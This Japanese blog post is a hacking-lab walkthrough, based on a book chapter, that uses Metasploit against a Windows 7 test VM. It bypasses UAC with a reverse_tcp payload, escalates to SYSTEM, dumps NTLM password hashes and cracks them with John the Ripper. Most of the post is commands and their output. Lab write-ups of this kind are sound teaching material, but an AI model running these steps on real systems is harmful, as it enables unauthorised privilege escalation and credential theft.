Windows 7 のパスワードハッシュを窃取及び解析する方法

Windows 7

今回はパスワード解析を行います。

パスワード解析には多数のアプローチがありますが、今回はパスワードハッシュを解析することで特定する方法を使用します。

パスワードハッシュとは

まず前提として、パスワード情報はそのまま端末に保存されているわけではなく、「ハッシュ値」という形で端末に保存されています。これをパスワードハッシュといいます。

ハッシュ値とは、任意の文字列に対してあるアルゴリズムを用いて算出された不規則な文字列のことです。この値は不可逆なため、仮にハッシュ値が流出した場合でも元の文字列を特定することは難しいです。

MD5やSHA256という言葉を聞いたことがあると思いますが、これがハッシュ関数で、これらのアルゴリズムを用いてハッシュ値を算出しています。

今回は、このパスワードハッシュを入手、解析し、パスワードを特定します。

パスワードハッシュの入手

Windows 7 のパスワードハッシュを入手するためには、前回の記事に書いた meterpreter のコマンドを用います。

以下の通り、meterpreter のプロンプトで「run hashdump」を実行することで、権限があればハッシュファイルを取得できます。

権限があれば と表現した通り、現時点では権限がなくてハッシュファイルが取得できません。

実際にコマンドを実行してみると、以下の通り権限がない旨のメッセージが出力されます。

meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d23634f7ecdc029e0570561ec6d4e94c...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
meterpreter >

権限が低くハッシュファイルを取得できないため、SYSTEM権限に昇格させます。

SYSTEM権限への昇格

SYSTEM権限に昇格するためのコマンドとして、meterpreter には「getsystem」が用意されています。

getsystem を実行します。

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter >

またも権限がなくエラーを吐いてしまいました。

権限を昇格させる「getsystem」を実行する権限もない状態です。

どうやら、UAC機能(ユーザアカウント制御)によってブロックされてしまったようです。

このUAC機能を突破するため、「exploit/ windows/ local/ bypassuac」というモジュールを使用します。

exploit/ windows/ local/ bypassuac

このモジュールを使用するため、一旦 meterpreter プロンプトから抜けます。

「background」コマンドを実行することで、セッションを残したままプロンプトを抜けることができます。

meterpreter > background
[*] Backgrounding session 3..
msf5 exploit(multi/handler) >

なぜセッションを残したまま抜けるかと言うと、「exploit/ windows/ local/ bypassuac」のモジュールの実行は meterpreter で確立したセッションを利用して別セッションの確立を行うからです。

※「exploit/ windows/ local/ bypassuac」でペイロードを作成し遠隔操作して・・・みたいなことは、そもそも「exploit/ windows/ local/ bypassuac」ではペイロードを作成できないため不可能です。

「exploit/ windows/ local/ bypassuac」のプロンプトに入ります。

msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac

meterpreterで確立したセッションIDを指定します。

msf5 exploit(windows/local/bypassuac) > set SESSION 3
SESSION => 3

新しくセッションを確立するためにKaliのIPアドレスを指定します。

msf5 exploit(windows/local/bypassuac) > set LHOST 10.0.0.2
LHOST => 10.0.0.2

meterpreter のペイロードを指定します。

msf5 exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

以上で設定は終わりです。設定値を確認します。

msf5 exploit(windows/local/bypassuac) > show options

Module options (exploit/windows/local/bypassuac):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 3 yes The session to run this module on.
TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: PSH, EXE)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows x86

msf5 exploit(windows/local/bypassuac) >

この状態で exploit を実行すれば、UAC機能を突破した状態で meterpreter プロンプトに移行します。

あとは順に 「getsystem」「run hashdump」を実行することで、Windows 7 のハッシュファイルが取得できます。

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d23634f7ecdc029e0570561ec6d4e94c...
/usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
/usr/share/metasploit-framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated
/usr/share/metasploit-framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated
/usr/share/metasploit-framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::

meterpreter >

“Administrator:”以降の箇所を任意のテキストファイルにコピペして、そのテキストファイルを解析していきます。ここでは「win7hash.txt」というファイルを作成しました。

ハッシュファイルからパスワードの解析

「John the Ripper」と呼ばれる解析ツールを使用して、ハッシュファイルからパスワード解析を行います。

今回は、辞書攻撃と呼ばれる手法でパスワード解析を行います。

辞書攻撃とは何かと言うと、よく使われるパスワードが登録されたリストを用いて、そのリストにあるパスワードでログインを試行する攻撃です。

パスワードに用いられる文字列はワンパターンなことが多いため、あらゆる文字列で試す総当り攻撃に比べ短い時間で突破することが可能になります。

パスワードリストの確認

John the Ripperでは、「/usr/share/john/password.lst」にパスワードの一覧が記載されています。

試しに中身を見てみると大量のパスワードが記載されており、例えば以下のパスワードが含まれていました。

123456
12345
password
password1
123456789
12345678

使用頻度の高いパスワードを使っていると、ツールで簡単に突破されるということですね。

このリストには Windows 7 のパスワードである「Passw0rd!」が含まれていないため、このままではパスワードを特定できません。

パスワード解析の実行

試しに解析してみます。

辞書攻撃による解析は、オプションに「–wordlist」を指定することで可能になります。

Windows 7のハッシュの場合は、「–format:nt」オプションを指定する必要があります。

root@kali:~# john --wordlist:/usr/share/john/password.lst --format:nt win7hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
(Guest)
1g 0:00:00:00 DONE (2020-03-03 08:38) 50.00g/s 177300p/s 177300c/s 186900C/s !@#$%..sss
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

Guest アカウントのみパスワードが特定されました。(空ですが)

「–show」オプションでパスワードの解析結果がわかります。
※ –format オプションを付与しないと解析結果が表示されません

root@kali:~# john --show win7hash.txt --format:nt
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

1 password hash cracked, 2 left

Guest ユーザのみパスワードが特定できていることがわかります。

なお、パスワードの解析結果は「~/.john/john.pot」に記録されます。解析結果をクリアしたい場合はこのファイルを削除してください。

パスワードリストへの追加

次に、辞書リストに「Passw0rd!」を追加します。

root@kali:~# cp /usr/share/john/password.lst password/lst
cp: cannot create regular file 'password/lst': No such file or directory
root@kali:~# cp /usr/share/john/password.lst password.lst
root@kali:~# echo "Passw0rd!" >> password.lst
root@kali:~# tail password.lst -n 10
@#$%^&
Qwert
allo
dirk
go
newcourt
nite
notused
sss
Passw0rd!
root@kali:~#

再度パスワード解析

そして、この辞書リスト(password.lst)を使用して解析を行います。

root@kali:~# john --wordlist=password.lst --format:nt win7hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Remaining 1 password hash
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Passw0rd! (Administrator)
1g 0:00:00:00 DONE (2020-03-03 08:56) 50.00g/s 177350p/s 177350c/s 177350C/s !@#$%..Passw0rd!
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
root@kali:~#

そうすると、Administratorユーザのパスワードが特定できました。

–show オプションでも見てみます。

root@kali:~# john –show –format:nt win7hash.txt
Administrator:Passw0rd!:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:Passw0rd!:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

3 password hashes cracked, 0 left
root@kali:~#

このように、Administrator、IEUser どちらもパスワードが特定できました。

今回は、以下2点で詰まりました。

①–show で解析結果が表示されない。
→ format のオプションが不足していた。

②解析結果が表示されないため何度も解析を行ったが、アカウント名が出力されずパスワードが特定できていないように見える。
→アカウント名が出力メッセージに表示されるのは1度目のみのため、2度目以降は表示されていなかった。「~/.john/john.pot」の削除を行うことで解決。

Twitterでご助言いただきました著者の @ipusiron 様、改めてこの場で感謝申し上げます。

本日はここまでです。

くどり

この記事は「ハッキング・ラボのつくりかた 第4章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました